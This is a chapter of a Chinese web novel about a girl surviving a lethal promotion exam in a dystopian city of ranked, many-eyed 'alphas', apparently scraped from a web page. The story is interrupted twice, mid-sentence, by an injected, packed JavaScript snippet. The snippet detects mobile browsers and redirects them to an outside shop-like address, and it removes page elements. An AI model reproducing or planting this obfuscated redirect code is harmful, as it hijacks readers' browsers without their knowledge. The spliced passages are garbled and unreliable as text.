在这段时间里,很多人并没有按考核顺序坐好,而是聚集在一起商量着什么,个个胸有成竹。 他们就是模拟测的前十名,没有带阮时卿,把她孤立在一边。 毕竟他们打心底里看不起她这种吊车尾的学渣。 阮时卿则静静坐在第三把椅子上,拇指无意识地摩挲着裤腿,双眼微阖,似乎是在闭目养神。 她打听过,升班考核形式与普通模拟测完全不同。这对所有人来说都是一个挑战。 “4077。” 一个较为清冷的声音骤然钻入了她耳内,是在叫她。 阮时卿睁开眼睛,面前站着的是那天坐在她旁边取得了模拟测第一好成绩的女生。 她的头发留到了肩头,面色圆润饱满,唇角是微微笑着的,眉眼被风发的意气笼罩。 “有事吗?”阮时卿同样站起来,与她平视。 “我知道你只是不甘平凡,或者出于某种无奈。”女生慢悠悠地牵过她的指尖,语重心长,“但你完全没必要浪费时间来参加这种考核。 “作为同班同学,还是建议你好好准备食种演讲比赛,那比这现实多了。” 阮时卿装作不解的模样,反问道,“你怎么知道是浪费时间?” “因为只有我能赢,会成为阿尔法。”女生毫不犹豫地回答,轻蔑的视线淡淡地扫过众人一圈,“不仅是你,还有她,她,他。” 话音跟随着她的目光转移,最后归拢为她眼中的自信,“以后你们都要受我的管理。” 言外之意,别得罪我。 两支高级营养膏被她舍弃,塞到阮时卿的掌心。 女生淡淡开口,“你不就是想要这个吗?我那还有,不差这点,给你了。放弃考核吧。提醒你一句,这种考核没那么简单,搞不好会死。” “谢谢,”阮时卿微笑着将高级营养膏拨回,“但这种东西还是你留着吧。” “什么意思?不够?” “因为你很快就会没有了。” 女生愣了一下才反应过来阮时卿话语中的意思,不怒反笑,然后转身离开了。 “我会重点关注你的。” 那是她留下的最后一句话。阮时卿听出来了其中暗藏的威胁,她偷瞄了一眼女生胸前的号码牌——2号。 考核很快就开始了。 从外面看,考场是一个独立的大型空间,外墙和门板都刷满了黑色的漆,就连窗户都没有,足以见其封闭性和严密性。 第一位进去的是一位寸头男,矮瘦,没什么特色。令人震惊的是,他的第一场考核只用了不到五分钟。 但门开的那一瞬间,几乎所有人的脸都变得煞白。 因为出来的只有他的尸体。 “下一位,β—9914。” 女生并没有露怯,抬头挺胸走了进去。 阮时卿尝试过用异能探听里面的内容,但不知是距离太远还是隔音太好,她什么也听不到。 “报告,我要放弃考核。” 抽到8号码牌的同学颤巍巍地举起了手。 贝塔老师点了点头,冷冰冰地回应,“出门后会有人接应你。” 那人便劫后余生般地离开了会堂。然而他刚走没多久,一声惨叫就被阮时卿敏锐的听觉捕捉到。 原来参加是死,放弃也是死。 阮时卿抽空点开自己的属性面板看了一眼。 【代号】005 【生命值】100% 【san值】47% 【污染值】5% 【异能】听觉增强,中级,78% 【buff】同心戒 她的san值好像每天都在掉。按照这个速度,她不能在这个副本待超过20天。 大约十分钟后,编号为β—9914的女生出来了。 她还活着,只是脚步有些虚浮,但脸上依然有着淡淡的笑容,看样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108425|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子是过了。 “下一位,β-304077。” 阮时卿在众人各异的目光下起身朝考场走去。 “你们猜她能撑几分钟?我先来,一分钟。” “没那么久。几秒吧。” 一些人在她身后小声哄笑起来。 …… 考场很大,但四周的墙壁都是全黑,只有正中央摆着两把不超过半米的椅子,室内暗不见光。 其中一把椅子上坐了一位阿尔法,他的第三只眼睛长在额心。看样子他应该就是考官,但他手上空空如也。 他指着距离他面前不到半米的椅子示意阮时卿坐下。 阮时卿只能硬着头皮走过来。 她发现四周起码有五十只眼睛盯着她,都是阿尔法。那些人隐没在四周的黑暗里,就像一出舞台剧下看戏的观众。 考官的上半身微微前倾,眼球充血,三目圆睁,死死地锁住她。阮时卿直直地看回来,竟然意料之外地没有受到什么冲击,甚至还能游刃有余地观察他第三只眼睛里的红血丝有几条。 她本来想用异能的,现在看来应该用不着了。 考官大概也是没料到她能这么坦然地回视,气焰一下子就低了下去。 “考官,可以开始了吗?”阮时卿催他。 “哦哦可以。”考官咳嗽一声,“考核规则是你必须看着我的眼睛,一旦低头/闭眼/流泪就淘汰,然后在一秒之内做出回答。明白了吗?” 他没有给阮时卿反应的时间,立马就抛出了第一个问题: “如果你妈快饿死了,你刚好捡到珍贵的配额,要不要拿回来给她吃?” 阮时卿:“我没有妈。” 考官:? 他连忙纠正,“假如是你任意一个亲人。” 阮时卿:“不会。我只有一个哥,因为饥饿使人清醒,饱腹滋生惰性,他要是吃了变懒了怎么办?家里的家务活都得我做了。” 此时此刻,远在尘壁区的成晏打了个喷嚏。 笔与纸张触碰的沙沙声从周围潮水般涌过来,那种被人盯着的感觉稍微舒缓了一点。 考官满意地点点头,突然凑近贴脸抛出了第二个问题: “你以为你学得好就有用吗?你不过是个只有两只眼的低等生物,只能沦为饥饿城的燃料和玩物,你的存在有什么意义?” 阮时卿一动不动:“考官,你的发言违背了《饥饿守则》的第一条,请你谨慎发言。” 见威吓不到她考官有些急了,嘴角掀起一个诡异的笑容,“第三个问题,食种都是会死的,但会换取大量配额资源,你愿意推举你哥哥成为食种吗?” 阮时卿毫不犹豫:“该问题无效。因为食种不是荐举制,而是抽调制,我哥成不成为食种与我的意愿无关。” 考官:…… 这时掌声雷动,周围的阿尔法终于从黑暗中现身,41教官在最前方,眼带笑意。 变故陡生。 “你知道我是谁吗?敢这么挑衅我?”阿尔法考官气急败坏,声音严厉,“先过了我这一关再说!” 他脸颊毫无征兆地崩裂,一颗硕大的眼球顶破皮肉硬挤了出来,肿胀地占据了半边面孔,在生肉中灵活地转动。 原来他不是低阶阿尔法!他是生活在琉璃城的高阶阿尔法! 完了。 当时其余所有人心里冒出同一个念头:没有人能逃过高阶阿尔法的凝视。 “啊——” 一声痛苦的咆哮从考官的嘴里溢出,他刚贴脸释放自己恐怖的威压,下一秒就捂着自己血流不止的眼睛弹射回来。 “过了过了,你过了,放过我。”他秒怂。 阮时卿&其他人:? 她什么都没做,连他那第四只眼睛都没来得及好好欣赏。 32. [锁] 该章节由作者自行锁定 阮时卿出来时人还是恍惚的。 出来时那些瞧不起她的人露出了更为恍惚和戏剧性的表情。 “她……她竟然通过了?” “这才五分钟不到!” “弃权了吧!她一个通识不及格的怎么可能……” 有个人见情况不对皱眉打断了她们的谈论,“别吵了!说不定就是通过了,你们就盼不得人家一点好吗?” 排序为6号的男生嗤笑一声,“通识通过没什么,第二场考核才重要,你们别忘了她之前这门课可都是零分。” “她不是说她能看见眼素谱吗?” “谁知道真的假的……” 正往另一个候考室走去的阮时卿充耳不闻,她的脑子里还回忆着刚才考场里41教官对她说的话—— “初步判定是考官个人原因导致的考核故障,但不影响你的考核结果,恭喜你,通过了。” 个人原因导致的故障? 阮时卿想不通的是,为什么1号考生那么突然就死了,而自己作为一个贝塔竟然可以轻易直视高阶阿尔法的眼睛。 她又点开自己的属性面板看了一眼,san值竟然直接下降到了40%!! 果然还是受到了冲击。 第二场考核也很快开始了,但候考室只剩下了5人,也就是说其余6人都被淘汰了。 这次考场并不在同一栋楼,而是整个学校最偏僻的那栋平时被锁住的楼,没有人进去过。考官是41教官,她带着众人进去后,绕着一个旋梯向上走,直到走入挤满人的楼层,就是所谓的考场。 说是人并不准确,应该说是囚犯,所有人都穿着囚服,手上戴着镣铐,规矩地站在自己的位置上,面无表情。 这些囚犯囊括了从伽马到高阶阿尔法所有等级,空气里弥漫着糜烂的味道,并不好闻。 阮时卿心里默数着,一共十行十列,也就是一百人。 “接下来,请你们戴上腕表,手持眼素谱解析镜进入场内,任务是尽可能地找出污染者,并在腕表内输入此人的编号。如果正确会记一分,错误会扣一分,限时30分钟,结束后分数最高的通过考核。” 41教官不等众人戴好装备,便吩咐下令,“计时,现在开始。” 墙上红色的倒计时立刻开始变动。 【29:59】【29:58】…… 众人迅速行动起来,分别拿过桌上的腕表戴好,正当阮时卿握住其中一个眼素谱解析镜的手柄时,感受到肩膀被某人重重地撞了一下。 是前一场考核中排序为6的那个男生,他体型大只,且撞得很用力,明显是存心的。 阮时卿压下怒气,捂着肩膀,看到其余人都争抢着进入场内。 编号为β—9914的女生率先去到了四眼人,也就是高阶阿尔法聚集的区域,人群的东北角。 没错,高阶阿尔法的确存在污染者的可能性最大,这个策略是对的。 那个男生则漫无目的地在人群中穿梭,时不时拿起解析镜对着人的眼睛扫描一下,非常随意。 “β—9914,加1分。” “β—25890,扣1分。” …… 刺耳的电子音此起彼伏,是从腕表里发出来的,室内顿时充满了争分夺秒的紧张感。 阮时卿也拿着眼素谱解析镜对着其中一个人的眼睛扫描了一下,一分钟后屏幕上才会显示出立体的眼素谱来。她花了三分钟才测出三个人,一个污染者也没有,效率太低了。 30分钟顶多测出30个人,还不说刚才已经浪费了几分钟。 她放下眼素谱解析镜,试图发动异能,虽然只需3秒,但探测到的范围也有限,一次性也只能完全“听”清一个人的眼素谱,需要消耗10%左右的异能。 真没办法了吗? 就在这时,阮时卿看到了人群里优哉游哉的男生,嘴角勾起一丝捉摸不透的笑容。 她直接几个跃步立到男人身后,左膝借着冲势狠狠撞入腰椎。男人的脊背受力猛然反弓、上身前挺,她趁势扣住双腕,向后上方极力一绞,关节脆响骤起。 她向来是睚眦必报。 “疼疼疼——!” 趁着男人痛呼的间隙,她夺过了他的眼素谱解析镜,然后一脚把他踢到了人群之外。 考核可没规定不准“借”其他人的解析镜用一用。 “靠,你个恶毒的女人!来人啊我的手脱臼了!” 很快有专门的医护人员过来将他带走了,相当于他直接被淘汰了。走之前他怨毒的眼神似乎要将阮时卿穿透。 力气大就是好用。 这下其他考生都离她远远的。 阮时卿拿着两把解析镜走到第五排最中间的位置,然后大喊一声,“污染者自己站出来!” 囚犯们都不为所动。 但阮时卿却微微一笑。她的目的已经达成了。 她两手一伸,将两把解析镜对准编号为46和48的眼睛,同时去“听”57的眼素谱。 一分钟后—— “β-304077,加1分。” “β-304077,加1分。” “β-304077,加1分。” 连续响起三个加分的电子音,让其他人顿时慌了一下。 就在刚刚她喊出那句话时,她把听觉的范围扩散到了整个人群,然后仔细监听所有人的心跳,有很多人的心率明显升高,很好辨认。 在听到“污染者”这三个字时,一般来说真正的污染者是会产生一定的应激反应的,生理反应有时候并不受意识控制,心跳加快是个明显的表征。 也就是说,他们心虚了。 果不其然,成功率几乎是99%。 就这样,她迅速筛选出目标,然后解析镜和异能同时作用,一分钟她就能找出三个污染者。 【18:30】【18:29】…… 时间已经过去了十分多钟,大家似乎都陷入了瓶颈,空气变得沉寂。 除了—— “β-304077,加1分。” “β-304077,加1分。” …… 阮时卿已经来到了最后几排。 她还瞥到了身后那个9914投来的探究和疑惑的目光,哦,不止她一个人,几乎其他所有人都看着她看似随意地扫描然后再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121820|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随意地输入编号,然后就…… 加分了。 【10:00】【9:59】…… 这时阮时卿已经测完了最后一个人,总分26,感觉到异能临近枯竭。 “考核结束。请所有考生退出考场。” 41教官突然的宣布让所有人措手不及。 有人质问,“不是还有几分钟吗?” 41教官面无表情地回答,“场内已无未被发现的污染者。” 言外之意,污染者已经都被找到了。再找也只能是扣分了。 所有人只能悻悻地回来,把腕表和工具上交。 41教官只看了一眼阮时卿的腕表就平静地宣布了结果,“本次升班考核最终通过者为β-304077,她留下,其他人可以离开了。” 一片死寂。 “考官,我们的成绩您都还没看!”有人不满。 41教官朝那人看过去,眼神不善,“考场内一共37名污染者,她一人得分26,还有什么看的必要吗?” 9914暗中攥紧了手指,她只有6分。更不用说其他人。 阮时卿瞬间成了众人的焦点。 “我去,怎么做到的?” “考官,我要举报她作弊,她绝对用了不正当手段!您最好查查。” “对,我看见她抢了另外一个人的眼素谱解析镜,您不管管吗?” 众人七嘴八舌,都想将她从胜利者的位置上拽下来,不管用什么手段。 “够了。”41教官怒喝一声,“不管用什么手段,只要不违反规则,最后成绩怎么样都是她的本事。 “我只看结果。” “恭喜。”9914转过身对阮时卿说了句,然后迅速离开,其他人纷纷跟上。 之后41教官将阮时卿带到一个单独的房间,里面看上去像是一间豪华单人宿舍,装饰华丽温馨,床又大又软,有单独的食用水接头。 “恭喜你加入高阶班,以后这就是你的宿舍了。在接下来的十天里,你将会与其他人一同接受阿尔法教育,表现优异就能进入千目廊。” 阮时卿知道,10天后就会进入下个月,而下个月将会迎来止饥季。她必须要在这期间当上编纂官,撰写食种名单。 “明白。”她点头。 41教官指了指五个硕大的高级营养膏,微笑道,“这是升班考核的奖励。以后你每天都能得到这样的配额。” “教官。我一定要住这吗?” 女人挑了挑眉,耐心解释道,“以后高阶班的课程会比较紧张,住在这能极大地节省时间。当然,最后你想住哪都随你。” …… 那天还未到傍晚,沙尘漫天。 阮时卿紧紧攥着那五支营养膏出来,一眼就看到了倚门等待的成晏。 “你今天怎么来得这么早?”她把手背在背后。 成晏拿出一条黄色的头纱盖在她头上,二话不说就背对着她蹲下,“上来。” “等等,你看,我今天的……战利品。” 阮时卿刚笑着把营养膏递到他面前,眼前一黑,就再也支撑不住地倒了下去。 “阮时卿!”